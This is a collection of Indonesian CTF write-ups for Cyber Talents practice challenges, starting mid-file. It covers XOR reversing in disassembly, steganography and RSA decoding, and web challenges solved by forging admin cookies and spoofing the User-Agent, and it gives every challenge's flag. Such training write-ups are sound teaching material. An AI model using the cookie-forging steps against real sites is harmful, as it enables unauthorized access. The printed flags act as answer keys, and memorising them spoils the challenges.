47 | │ │ 0x004117a6 c78540ffffff. mov dword [local_c0h], 1
48 | │ │ 0x004117b0 c78544ffffff. mov dword [local_bch], 0x36 ; '6' ; 54
49 | │ │ 0x004117ba c78548ffffff. mov dword [local_b8h], 0x7f ; 127
50 | │ │ 0x004117c4 c7854cffffff. mov dword [local_b4h], 0x78 ; 'x' ; 120
51 | │ │ 0x004117ce c78550ffffff. mov dword [local_b0h], 0x35 ; '5' ; 53
52 | │ │ 0x004117d8 c78554ffffff. mov dword [local_ach], 0x7f ; 127
53 | │ │ 0x004117e2 c78558ffffff. mov dword [local_a8h], 0x1e ; 30
54 | │ │ 0x004117ec c7855cffffff. mov dword [local_a4h], 0x5f ; '_' ; 95
55 | │ │ 0x004117f6 c78560ffffff. mov dword [local_a0h], 0x45 ; 'E' ; 69
56 | │ │ 0x00411800 c78564ffffff. mov dword [local_9ch], 0x64 ; 'd' ; 100
57 | │ │ 0x0041180a c78568ffffff. mov dword [local_98h], 0x79 ; 'y' ; 121
58 | │ │ 0x00411814 c7856cffffff. mov dword [local_94h], 0x48 ; 'H' ; 72
59 | │ │ 0x0041181e c78570ffffff. mov dword [local_90h], 0x13 ; 19
60 | │ │ 0x00411828 c7857cffffff. mov dword [local_84h], 0 ; local_84h = 0
61 | │ ┌──< 0x00411832 eb0f jmp 0x411843 ; lompat ke 0x411843
62 | │ ││ ; CODE XREF from entry1 (0x411872)
63 | │ ││ 0x00411834 8b857cffffff mov eax, dword [local_84h] ; eax = counter
64 | │ ││ 0x0041183a 83c001 add eax, 1 ; eax++
65 | │ ││ 0x0041183d 89857cffffff mov dword [local_84h], eax ; counter = eax
66 | │ ││ ; CODE XREF from entry1 (0x411832)
67 | │ └──> 0x00411843 83bd7cffffff. cmp dword [local_84h], 0x13 ; apakah counter == 0x13?
68 | │ ┌──< 0x0041184a 7d28 jge 0x411874 ; jika lebih besar atau sama dengan, maka lompat ke 0x411874
69 | │ ││ 0x0041184c 8b857cffffff mov eax, dword [local_84h] ; eax = counter
70 | │ ││ 0x00411852 0fbe8800a041. movsx ecx, byte [eax + str.Catch_Me_If_You_Can] ; ecx = "Catch Me If You Can"[counter]
71 | │ ││ 0x00411859 8b957cffffff mov edx, dword [local_84h] ; edx = counter
72 | │ ││ 0x0041185f 338c9528ffff. xor ecx, dword [ebp + edx*4 - 0xd8] ; "C"
73 | │ ││ 0x00411866 8b857cffffff mov eax, dword [local_84h] ; eax = counter
74 | │ ││ 0x0041186c 888800a04100 mov byte [eax + str.Catch_Me_If_You_Can], cl ; "Catch Me If You Can"[counter] = cl
75 | │ ││ 0x00411872 ebc0 jmp 0x411834 ; ulangi sampai habis
76 | │ ││ ; CODE XREF from entry1 (0x41184a)
77 | │ └──> 0x00411874 8b857cffffff mov eax, dword [local_84h]
78 | │ │ 0x0041187a 89855cfeffff mov dword [local_1a4h], eax
79 | │ │ 0x00411880 83bd5cfeffff. cmp dword [local_1a4h], 0x14
80 | │ │ 0x00411887 7302 jae 0x41188b
81 | │ │ 0x00411889 eb05 jmp 0x411890
82 | │ │ ; CODE XREF from entry1 (0x411887)
83 | │ │ 0x0041188b e8c4f8ffff call fcn.00411154
84 | │ │ ; CODE XREF from entry1 (0x411889)
85 | │ │ 0x00411890 8b8d5cfeffff mov ecx, dword [local_1a4h]
86 | │ │ 0x00411896 c68100a04100. mov byte [ecx + str.Catch_Me_If_You_Can], 0 ; section..data ; [0x41a000:1]=67 ; "Catch Me If You Can"
87 | │ │ ; CODE XREFS from entry1 (0x411729, 0x411764)
88 | │ └─> 0x0041189d 52 push edx
89 | │ 0x0041189e 8bcd mov ecx, ebp
90 | ```
91 |
92 | Secara sederhana, disassembly di atas akan melakukan operasi XOR sebanyak `0x13` kali, yaitu panjang kalimat `Catch Me If You Can`. Kalimat tersebut di-XOR dengan sejumlah byte yang disimpan pada stack. Berikut ini adalah urutan byte tersebut:
93 |
94 | ```
95 | 0x25,0x0d,0x15,0x04,0x13,0x74,0x01,0x36,0x7f,0x78,0x35,0x7f,0x1e,0x5f,0x45,0x64,0x79,0x48,0x13
96 | ```
97 |
98 | Selanjutnya, kita dapat menggunakan python untuk operasi XOR seperti ini:
99 |
100 | ```python
101 | >>> b = [0x25,0x0d,0x15,0x04,0x13,0x74,0x01,0x36,0x7f,0x78,0x35,0x7f,0x1e,0x5f,0x45,0x64,0x79,0x48,0x13]
102 | >>> s = "Catch Me If You Can"
103 | >>> print ''.join([chr(ord(s[i]) ^ b[i]) for i in range(len(s))])
104 | flag{TLS_1S_G00D:)}
105 | ```
106 |
107 | Nah, bisa terlihat bahwa flag untuk soal tersebut adalah `flag{TLS_1S_G00D:)}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
108 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-re-secret_box.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Secret Box
2 |
3 | Ini adalah writeup soal latihan [Cyber Talents](https://cybertalents.com/challenges/malware/secret-box) untuk kategori reverse engineering. Berikut ini adalah petunjuk yang diberikan:
4 |
5 | ```
6 | There is a secret in the box, can you read this?
7 | ```
8 |
9 | Adapun soalnya berupa arsip `secretbox.zip` yang berisi 2 buah file yaitu `secretbox.py` dan `secret.png`. Berikut ini adalah isi dari script `secretbox.py`:
10 |
11 | ```python
12 | import sys
13 | from PIL import Image
14 |
15 | def prob(s_img, msg, d_img):
16 | im = Image.open(s_img).convert("RGBA")
17 | p = im.load()
18 | c = 0
19 | msg = map(lambda x: ord(x) ^ len(d_img), msg[::-1])
20 | for i in range(0, len(msg)):
21 | enc = msg[i]
22 | p[c, 0] = (p[c, 0][0], p[c, 0][1], p[c, 0][2], enc)
23 | c += 1
24 | im.save(d_img)
25 |
26 | if len(sys.argv) != 4:
27 | print "%s \"orignal.png\" \"secret message\" \"secret.png\"" % sys.argv[0]
28 | exit()
29 |
30 | prob(sys.argv[1], sys.argv[2], sys.argv[3])
31 | ```
32 |
33 | Script python tersebut akan melakukan hal berikut ini:
34 | * Mengubah format gambar imput dengan menambahkan channel alpha.
35 | * Flag akan disimpan dalam format reversed.
36 | * Melakukan operasi XOR terhadap setiap byte pada flag dengan panjang karakter pada nama file output.
37 | * Menyimpan setiap byte hasil operasi XOR ke dalam channel alpha pada gambar output.
38 |
39 | Untuk menemukan flag, script tersebut akan kita modifikasi dengan membalikkan metode yang digunakan:
40 | * Baca gambar `secret.png` dengan format RGBA (Red Green Blue Alpha).
41 | * Ambil byte pada channel alpha (misalnya 32 byte).
42 | * Lakukan operasi XOR untuk setiap byte tersebut: (byte ^ len('secret.png')) atau (byte ^ 10).
43 | * Reverse string flag, untuk menghasilkan flag yang valid.
44 |
45 | Berikut ini adalah script yang akan kita gunakan:
46 |
47 | ```python
48 | #!/usr/bin/env python
49 | import sys
50 | from PIL import Image
51 |
52 | def deprob(s_img):
53 | p = Image.open(s_img).convert("RGBA").load()
54 | print ''.join(map(chr, (p[i,0][3] ^ len(s_img) for i in range(0,32))))[::-1]
55 |
56 | deprob("secret.png")
57 | ```
58 |
59 | Simpan script tersebut dengan nama `getflag.py` pada direktori yang sama dengan file gambar `secret.png`, lalu jalankan:
60 |
61 | ```bash
62 | % python getflag.py
63 | flag{1t_is_very_light_b0x}
64 | ```
65 |
66 | Flag untuk soal tersebut adalah `flag{1t_is_very_light_b0x}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
67 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-rsa101.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: RSA101
2 |
3 |
4 | Ini adalah writeup dari soal latihan [Cyber Talents: RSA101](https://cybertalents.com/challenges/cryptography/rsa101) untuk kategori crypto. Soal ini tidak terlalu sulit. Berikut ini adalah petunjuk untuk soal tersebut:
5 |
6 | ```
7 | we received a message from our agent but we don't know how to use our key to read the message
8 | ```
9 |
10 | Adapun soalnya, dapat diunduh pada [tautan ini](https://hubchallenges.s3-eu-west-1.amazonaws.com/crypto/RSA101.zip). Pada arsip soal tersebut, terdapat 2 buah file yaitu: **cipher** dan **key.pem**.
11 |
12 | Untuk menyelesaikan soal tersebut, kita akan melakukan dekripsi menggunakan OpenSSL dengan perintah seperti ini:
13 |
14 | ```bash
15 | % openssl rsautl -decrypt -in cipher -out flag.txt -inkey key.pem
16 | ```
17 |
18 | Setelah menjalankan perintah di atas, maka kita dapat melihat flagnya pada file **flag.txt**:
19 |
20 | ```bash
21 | % cat flag.txt
22 | flag{RSA_nice_try}
23 | ```
24 |
25 | Jadi flag untuk soal RSA101 adalah `flag{RSA_nice_try}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
26 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-secret_blog.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Secret Blog
2 |
3 |
4 | Tutorial kali ini akan membahas solusi soal CTF [Cyber Talents: Secret Blog](https://cybertalents.com/challenges/web/secret-blog) yang masuk ke dalam ketegori web security. Berikut ini adalah penjelasan dari soal tersebut:
5 |
6 | ```
7 | Only Blog Admins can see the flag, could you be one of them?
8 | ```
9 |
10 | Untuk soalnya sendiri, dapat diakses pada [tautan ini](http://35.225.49.73/secretblog/). Seperti beberapa soal lainnya, kali ini kita akan menggunakan [HTTPie](https://httpie.org). Pertama, kita akan mengakses halaman tersebut:
11 |
12 | ```bash
13 | % http "http://35.225.49.73/secretblog/"
14 | HTTP/1.1 200 OK
15 | Connection: keep-alive
16 | Content-Encoding: gzip
17 | Content-Type: text/html; charset=UTF-8
18 | Date: Mon, 03 Aug 2020 01:13:14 GMT
19 | Server: nginx/1.10.3 (Ubuntu)
20 | Transfer-Encoding: chunked
21 |
22 |
23 |
24 |
25 | CyberTalnet Blog
26 |
27 |
28 |
29 |
30 |
31 |
32 |
Secret Blog
33 |
34 |
35 |
36 |
37 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | ```
56 |
57 | Halaman tersebut meminta kita login, dimana informasi login akan dikirimkan ke halaman **login.php**. Kita akan mengirimkan **Username** dan **password** seperti ini:
58 |
59 | ```bash
60 | % http -f "http://35.225.49.73/secretblog/login.php" "Username=admin" "password=admin"
61 | HTTP/1.1 302 Found
62 | Connection: keep-alive
63 | Content-Type: text/html; charset=UTF-8
64 | Date: Mon, 03 Aug 2020 01:15:48 GMT
65 | Location: ./flag.php
66 | Server: nginx/1.10.3 (Ubuntu)
67 | Set-Cookie: username=admin
68 | Set-Cookie: password=admin
69 | Set-Cookie: admin=False
70 | Transfer-Encoding: chunked
71 | ```
72 |
73 | Dari respon yang dikirimkan oleh server di atas, bisa terlihat bahwa kita akan diarahkan ke halaman **flag.php** dengan 3 buah _Cookie_ :
74 |
75 | ```
76 | Set-Cookie: username=admin
77 | Set-Cookie: password=admin
78 | Set-Cookie: admin=False
79 | ```
80 |
81 | Kita akan mengirimkan request ke halaman **flag.php** dengan mengatur ketiga cookie tersebut seperti ini:
82 |
83 | ```bash
84 | % http -f "http://35.225.49.73/secretblog/flag.php" "Cookie: Username=admin;password=admin;admin=True"
85 | HTTP/1.1 200 OK
86 | Connection: keep-alive
87 | Content-Encoding: gzip
88 | Content-Type: text/html; charset=UTF-8
89 | Date: Mon, 03 Aug 2020 01:18:34 GMT
90 | Server: nginx/1.10.3 (Ubuntu)
91 | Transfer-Encoding: chunked
92 |
93 |
94 |
95 |
96 | CyberTalent
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
Flag
106 |
107 |
108 |
109 | Success: You logged in! Not sure you'll be able to see the flag though.
110 |
111 |
112 |
113 |
114 | flag{I_l0v3_Co0ki3s_M4nipul4ti0n}
115 |
116 |
117 |
118 |
119 | ```
120 |
121 | Ternyata request tersebut berhasil, dan kita mendapatkan flagnya yaitu `flag{I_l0v3_Co0ki3s_M4nipul4ti0n}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
122 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-secret_browser.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Secret Browser
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Secret Browser](https://cybertalents.com/challenges/web/secret-browser) yang masuk ke dalam kategori web security. Berikut ini adalah petunjuk untuk soal tersebut:
5 |
6 | ```
7 | The company employees is using company special
8 | browser to view the website content.
9 | ```
10 |
11 | Kita dapat mengakses halaman soal kali ini pada [tautan ini](http://35.197.254.240/secret-browser/). Kita akan menggunakan [HTTPie](https://httpie.org) untuk mengerjakan soal ini. Anda dapat menggunakan tools lain jika mau. Langkah pertama adalah mengakses halaman tersebut:
12 |
13 | ```bash
14 | % http "http://35.197.254.240/secret-browser/"
15 | HTTP/1.1 200 OK
16 | Allow: GET, POST, HEAD,OPTIONS
17 | Connection: keep-alive
18 | Content-Encoding: gzip
19 | Content-Type: text/html; charset=UTF-8
20 | Date: Mon, 03 Aug 2020 01:01:28 GMT
21 | Server: nginx/1.10.3 (Ubuntu)
22 | Transfer-Encoding: chunked
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | PublicTradeCo company for trading
31 |
32 |
33 |
34 |
35 |
36 |
40 |
41 |
42 |
43 |
Welcome Guest , your are not using our company browser
44 |
45 |
46 |
47 |
48 |
51 |
52 |
53 | ```
54 |
55 | Pada halaman tersebut muncul pesan bahwa kita tidak menggunakan broser perusahaan:
56 |
57 | ```
58 | Welcome Guest , your are not using our company browser
59 | ```
60 |
61 | Jika kita perhatikan, pada _title_ halaman tersebut tertulis **PublicTradeCo company for trading**. Berarti, nama perusahaannya adalah **PublicTradeCo**. Kita akan menggunakan _string_ tersebut sebagai header [User-Agent](https://en.wikipedia.org/wiki/User_agent). Coba kita kirimkan kembali request menggunakan header tersebut:
62 |
63 | ```bash
64 | % http "http://35.197.254.240/secret-browser/" "User-Agent: PublicTradeCo"
65 | HTTP/1.1 200 OK
66 | Allow: GET, POST, HEAD,OPTIONS
67 | Connection: keep-alive
68 | Content-Encoding: gzip
69 | Content-Type: text/html; charset=UTF-8
70 | Date: Mon, 03 Aug 2020 01:05:50 GMT
71 | Server: nginx/1.10.3 (Ubuntu)
72 | Transfer-Encoding: chunked
73 | x-flag: W3lcomeC0mpanyUs3R
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | PublicTradeCo company for trading
82 |
83 |
84 |
85 |
86 |
87 |
91 |
92 |
93 |
94 |
Welcome employee , the flag you are looking for is here somewhere
95 |
96 |
97 |
98 |
99 |
102 |
103 |
104 | ```
105 |
106 | Kali ini, kita berhasil mendapatkan pesan:
107 |
108 | ```
109 | Welcome employee , the flag you are looking for is here somewhere
110 | ```
111 |
112 | Namun, flagnya tidak kita temukan pada halaman tersebut. Flagnya berada pada response header. Perhatikan respon dari server berikut ini:
113 |
114 | ```
115 | HTTP/1.1 200 OK
116 | Allow: GET, POST, HEAD,OPTIONS
117 | Connection: keep-alive
118 | Content-Encoding: gzip
119 | Content-Type: text/html; charset=UTF-8
120 | Date: Mon, 03 Aug 2020 01:05:50 GMT
121 | Server: nginx/1.10.3 (Ubuntu)
122 | Transfer-Encoding: chunked
123 | x-flag: W3lcomeC0mpanyUs3R
124 | ```
125 |
126 | Flag untuk soal kali ini adalah `W3lcomeC0mpanyUs3R`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
127 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-simple_reverse.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Simple Reverse
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Simple Reverse](https://cybertalents.com/challenges/malware/simple-reverse) yang termasuk ke dalam kategori reverse engineering. Berikut ini adalah petunjuk untuk soal tersebut:
5 |
6 | ```
7 | Only a plaintext password would be easier...
8 | ```
9 |
10 | Soal ini disertai aplikasi yang harus kita unduh pada [tautan ini](https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/simple_reverse). Unduh terlebih dahulu soal tersebut, lalu kita periksa tipenya:
11 |
12 | ```bash
13 | % file simple_reverse
14 | simple_reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a0dd1d8dbda08a213ac68dd9cd9a5f4836f95cf, not stripped
15 | ```
16 |
17 | Selanjutnya, kita akan menggunakan [radare2](https://rada.re/n/) yang dilengkapi plugin [ghidra](https://ghidra-sre.org/) untuk melakukan analisis. Anda juga dapat menggunakan ghidra saja. Load soal tersebut pada radare2:
18 |
19 | ```bash
20 | % r2 -A simple_reverse
21 | [x] Analyze all flags starting with sym. and entry0 (aa)
22 | [x] Analyze function calls (aac)
23 | [x] Analyze len bytes of instructions for references (aar)
24 | [x] Check for vtables
25 | [x] Type matching analysis for all functions (aaft)
26 | [x] Propagate noreturn information
27 | [x] Use -AA or aaaa to perform additional experimental analysis.
28 | [0x00400530]>
29 | ```
30 |
31 | Selanjutnya, kita akan melakukan dekompilasi terhadap fungsi **main**:
32 |
33 | ```bash
34 | [0x00400530]> pdg @main
35 |
36 | undefined8 main(undefined8 argc, char **argv)
37 | {
38 | int32_t iVar1;
39 | undefined8 uVar2;
40 | char **var_10h;
41 | undefined8 var_4h;
42 |
43 | if ((int32_t)argc < 2) {
44 | sym.imp.printf("Usage:%s \nYou need to enter the password to get the flag!\n", *argv);
45 | uVar2 = 1;
46 | } else {
47 | iVar1 = sym.check_password(argv[1]);
48 | if (iVar1 == 0) {
49 | sym.print_flag(argv[1]);
50 | } else {
51 | sym.imp.puts("Wrong password");
52 | }
53 | uVar2 = 0;
54 | }
55 | return uVar2;
56 | }
57 | ```
58 |
59 | Berdasarkan hasil dekompilasi di atas, kita dapat melihat bahwa kita harus memasukkan password sebagai parameter pertama ketika menjalankan soal tersebut. Password yang kita masukkan kemudian akan dijadikan parameter ketika memanggil fungsi `sym.check_password`. Selanjutnya, kita akan melakukan dekompilasi terhadap fungsi `sym.check_password`.
60 |
61 | ```bash
62 | [0x00400530]> pdg @sym.check_password
63 |
64 | undefined8 sym.check_password(char *arg1)
65 | {
66 | int32_t iVar1;
67 | undefined8 uVar2;
68 | int64_t in_FS_OFFSET;
69 | char *s;
70 | int32_t var_28h;
71 | int64_t var_20h;
72 | int64_t var_18h;
73 | int64_t var_10h;
74 | int64_t canary;
75 |
76 | canary = *(int64_t *)(in_FS_OFFSET + 0x28);
77 | var_20h = -0x4c0d201e200b4f12;
78 | var_18h = -0x4c170f161c204e1f;
79 | var_10h._0_2_ = 0xf2;
80 | iVar1 = sym.imp.strlen(arg1);
81 | if (iVar1 == 0x11) {
82 | var_28h = 0;
83 | while (var_28h < 0x11) {
84 | if (*(uint8_t *)((int64_t)&var_20h + (int64_t)var_28h) != (uint8_t)(arg1[var_28h] ^ 0x80U)) {
85 | uVar2 = 0xffffffff;
86 | goto code_r0x004006bf;
87 | }
88 | var_28h = var_28h + 1;
89 | }
90 | uVar2 = 0;
91 | } else {
92 | uVar2 = 0xffffffff;
93 | }
94 | code_r0x004006bf:
95 | if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
96 | uVar2 = sym.imp.__stack_chk_fail();
97 | }
98 | return uVar2;
99 | }
100 | ```
101 |
102 | Terdapat 2 buah variabel dengan nilai yang cukup besar pada fungsi tersebut. Agar lebih jelas, kita akan membandingkan dengan disassembly fungsi tersebut:
103 |
104 | ```bash
105 | [0x00400530]> pdf @sym.check_password
106 | ; CALL XREF from main @ 0x4007fe
107 | ┌ 175: sym.check_password (char *arg1);
108 | │ ; var char *s @ rbp-0x38
109 | │ ; var signed int64_t var_28h @ rbp-0x28
110 | │ ; var size_t var_24h @ rbp-0x24
111 | │ ; var int64_t var_20h @ rbp-0x20
112 | │ ; var int64_t var_18h @ rbp-0x18
113 | │ ; var int64_t var_10h @ rbp-0x10
114 | │ ; var int64_t canary @ rbp-0x8
115 | │ ; arg char *arg1 @ rdi
116 | │ 0x00400626 55 push rbp
117 | │ 0x00400627 4889e5 mov rbp, rsp
118 | │ 0x0040062a 4883ec40 sub rsp, 0x40
119 | │ 0x0040062e 48897dc8 mov qword [s], rdi ; arg1
120 | │ 0x00400632 64488b042528. mov rax, qword fs:[0x28]
121 | │ 0x0040063b 488945f8 mov qword [canary], rax
122 | │ 0x0040063f 31c0 xor eax, eax
123 | │ 0x00400641 48b8eeb0f4df. movabs rax, 0xb3f2dfe1dff4b0ee
124 | │ 0x0040064b 488945e0 mov qword [var_20h], rax
125 | │ 0x0040064f 48b8e1b1dfe3. movabs rax, 0xb3e8f0e9e3dfb1e1
126 | │ 0x00400659 488945e8 mov qword [var_18h], rax
127 | │ 0x0040065d 66c745f0f200 mov word [var_10h], 0xf2 ; 242
128 | │ 0x00400663 488b45c8 mov rax, qword [s]
129 | │ 0x00400667 4889c7 mov rdi, rax ; const char *s
130 | │ 0x0040066a e871feffff call sym.imp.strlen ; size_t strlen(const char *s)
131 | │ 0x0040066f 8945dc mov dword [var_24h], eax
132 | │ 0x00400672 837ddc11 cmp dword [var_24h], 0x11
133 | │ ┌─< 0x00400676 7407 je 0x40067f
134 | │ │ 0x00400678 b8ffffffff mov eax, 0xffffffff ; -1
135 | │ ┌──< 0x0040067d eb40 jmp 0x4006bf
136 | │ ││ ; CODE XREF from sym.check_password @ 0x400676
137 | │ │└─> 0x0040067f c745d8000000. mov dword [var_28h], 0
138 | │ │┌─< 0x00400686 eb2c jmp 0x4006b4
139 | │ ││ ; CODE XREF from sym.check_password @ 0x4006b8
140 | │ ┌───> 0x00400688 8b45d8 mov eax, dword [var_28h]
141 | │ ╎││ 0x0040068b 4898 cdqe
142 | │ ╎││ 0x0040068d 0fb64405e0 movzx eax, byte [rbp + rax - 0x20]
143 | │ ╎││ 0x00400692 8b55d8 mov edx, dword [var_28h]
144 | │ ╎││ 0x00400695 4863ca movsxd rcx, edx
145 | │ ╎││ 0x00400698 488b55c8 mov rdx, qword [s]
146 | │ ╎││ 0x0040069c 4801ca add rdx, rcx
147 | │ ╎││ 0x0040069f 0fb612 movzx edx, byte [rdx]
148 | │ ╎││ 0x004006a2 83f280 xor edx, 0xffffff80 ; 4294967168
149 | │ ╎││ 0x004006a5 38d0 cmp al, dl
150 | │ ┌────< 0x004006a7 7407 je 0x4006b0
151 | │ │╎││ 0x004006a9 b8ffffffff mov eax, 0xffffffff ; -1
152 | │ ┌─────< 0x004006ae eb0f jmp 0x4006bf
153 | │ ││╎││ ; CODE XREF from sym.check_password @ 0x4006a7
154 | │ │└────> 0x004006b0 8345d801 add dword [var_28h], 1
155 | │ │ ╎││ ; CODE XREF from sym.check_password @ 0x400686
156 | │ │ ╎│└─> 0x004006b4 837dd810 cmp dword [var_28h], 0x10
157 | │ │ └───< 0x004006b8 7ece jle 0x400688
158 | │ │ │ 0x004006ba b800000000 mov eax, 0
159 | │ │ │ ; CODE XREFS from sym.check_password @ 0x40067d, 0x4006ae
160 | │ └──└──> 0x004006bf 488b75f8 mov rsi, qword [canary]
161 | │ 0x004006c3 644833342528. xor rsi, qword fs:[0x28]
162 | │ ┌─< 0x004006cc 7405 je 0x4006d3
163 | │ │ 0x004006ce e81dfeffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
164 | │ │ ; CODE XREF from sym.check_password @ 0x4006cc
165 | │ └─> 0x004006d3 c9 leave
166 | └ 0x004006d4 c3 ret
167 | ```
168 |
169 | Dari informasi di atas, kita bisa menarik kesimpulan sementara berikut ini:
170 |
171 | * Password berupa karakter dengan panjang 17 byte (0x11 dalam hexadesimal).
172 | * Setiap byte pada password akan di-XOR dengan nilai 0x80.
173 | * Hasil XOR akan dibandingkan dengan nilai yang telah ditentukan, yaitu:
174 | ** 0xb3f2dfe1dff4b0ee
175 | ** 0xb3e8f0e9e3dfb1e1
176 | ** 0xf2
177 | * Perlu diingat bahwa, nilai yang telah ditentukan tersebut formatnya adalah [Little Endian](https://en.wikipedia.org/wiki/Endianness)
178 |
179 | Untuk memperoleh password yang benar, maka kita dapat membalikkan fungsi tersebut. Jika menggunakan python 3, maka akan seperti ini:
180 |
181 | ```python
182 | >>> print("".join(chr(a ^ 0x80) for a in bytes.fromhex("eeb0f4dfe1dff2b3e1b1dfe3e9f0e8b3f2")))
183 | n0t_a_r3a1_ciph3r
184 | ```
185 |
186 | Bisa terlihat, bahwa passwordnya adalah `n0t_a_r3a1_ciph3r`. Selanjutnya kita akan menjalankan soal tersebut dengan memasukkan password tersebut sebagai parameter seperti ini:
187 |
188 | ```bash
189 | % ./simple_reverse n0t_a_r3a1_ciph3r
190 | Your flag:
191 | flag{xor_is_pretty_simple}
192 | ```
193 |
194 | Nah, itu dia flag untuk soal kali ini, yaitu `flag{xor_is_pretty_simple}`. Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
195 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-whoami.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Who Am I
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal latihan [Cyber Talents: Who Am I](https://cybertalents.com/challenges/web/who-am-i) yang merupakan soal kategori web security. Berikut ini adalah penjelasan untuk soal tersebut:
5 |
6 | ```
7 | Do not Start a fight you can not stop it
8 | ```
9 |
10 | Adapun soal tersebut dapat diakses pada [tautan ini](http://34.76.107.218/whoami/). Untuk mengerjakan soal ini, kita akan menggunakan [HTTPie](https://httpie.org/), namun Anda juga dapat menggunakan aplikasi lainnya sesuai keinginan. Langsung saja, kita akan mengirimkan _request_ ke halaman soal tersebut:
11 |
12 | ```bash
13 | % http "http://34.76.107.218/whoami/"
14 | HTTP/1.1 200 OK
15 | Connection: keep-alive
16 | Content-Encoding: gzip
17 | Content-Type: text/html; charset=UTF-8
18 | Date: Mon, 27 Jul 2020 04:41:04 GMT
19 | Server: nginx/1.10.3 (Ubuntu)
20 | Transfer-Encoding: chunked
21 |
22 |
23 | Administrator Panel
24 |
25 |
26 |
27 | Administrator Panel
28 |
29 |
30 |
31 |
Please Enter Your Username and Password !!
32 |
33 |
42 |
43 |
49 | ```
50 |
51 | Bisa terlihat bahwa pada kode sumber halaman tersebut terdapat **Username** dan **Password** yang keduanya adalah **Guest**. Selanjutnya, kita akan menggunakan username dan password tersebut pada _request_ ke halaman yang sama:
52 |
53 | ```bash
54 | % http -f "http://34.76.107.218/whoami/" "user=Guest" "pass=Guest"
55 | HTTP/1.1 302 Found
56 | Connection: keep-alive
57 | Content-Type: text/html; charset=UTF-8
58 | Date: Mon, 27 Jul 2020 04:53:44 GMT
59 | Location: admin.php
60 | Server: nginx/1.10.3 (Ubuntu)
61 | Set-Cookie: Authentication=bG9naW49R3Vlc3Q%3D
62 | Transfer-Encoding: chunked
63 |
64 |
65 | Administrator Panel
66 |
67 |
68 |
69 | Administrator Panel
70 |
71 |
72 |
73 |
Please Enter Your Username and Password !!
74 |
75 |
84 |
85 |
91 | ```
92 |
93 | Perhatikan _header_ yang diberikan oleh server pada _request_ di atas:
94 |
95 | ```bash
96 | Location: admin.php
97 | Set-Cookie: Authentication=bG9naW49R3Vlc3Q%3D
98 | ```
99 |
100 | Bisa terlihat, bahwa server tersebut akan mengarahkan kita ke halaman **admin.php** dan memberikan _cookie_ dalam format Base64. Jika kita decode _cookie_ tersebut, maka hasilnya seperti ini:
101 |
102 | ```bash
103 | % echo -n "bG9naW49R3Vlc3Q=" | base64 -d
104 | login=Guest
105 | ```
106 |
107 | Coba kita ubah _cookie_ login tersebut dari **Guest** menjadi **admin**:
108 |
109 | ```bash
110 | % echo -n "login=admin" | base64
111 | bG9naW49YWRtaW4=
112 | ```
113 |
114 | Selanjutnya adalah mengirimkan _request_ menggunakan _cookie_ yang telah dimodifikasi tersebut:
115 |
116 | ```bash
117 | % http -f "http://34.76.107.218/whoami/admin.php" "Cookie:Authentication=bG9naW49YWRtaW4="
118 | HTTP/1.1 200 OK
119 | Connection: keep-alive
120 | Content-Encoding: gzip
121 | Content-Type: text/html; charset=UTF-8
122 | Date: Mon, 27 Jul 2020 04:56:45 GMT
123 | Server: nginx/1.10.3 (Ubuntu)
124 | Transfer-Encoding: chunked
125 |
126 |
127 | Administrator Panel
128 |
129 |
130 |
131 |
132 |
Welcome, Administrator !
133 |
134 |
Congratulation. Your Flag iS :
135 |
136 |
137 |
FLag{B@D_4uTh1Nt1C4Ti0n}
138 | ```
139 |
140 | Ternyata berhasil, dan flagnya adalah `FLag{B@D_4uTh1Nt1C4Ti0n}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
141 |
--------------------------------------------------------------------------------
/python/tutorial-antiuncompyle6.md:
--------------------------------------------------------------------------------
1 | # Tutorial Script Antiuncompyle6
2 |
3 | ## Pendahuluan
4 |
5 | Beberapa waktu lalu, ada seseorang yang mengirimkan sebuah script dengan nama **AntiUncompyle6.py**. File tersebut cukup kecil. Tutorial ini akan membahas secara singkat tentang script tersebut.
6 |
7 | ## Langkah-langkah
8 |
9 | * Pertama, kita periksa terlebih dahulu tipe dari file tersebut:
10 |
11 | ```bash
12 | % file antiuncompyle6.py
13 | antiuncompyle6.py: python 2.7 byte-compiled
14 | ```
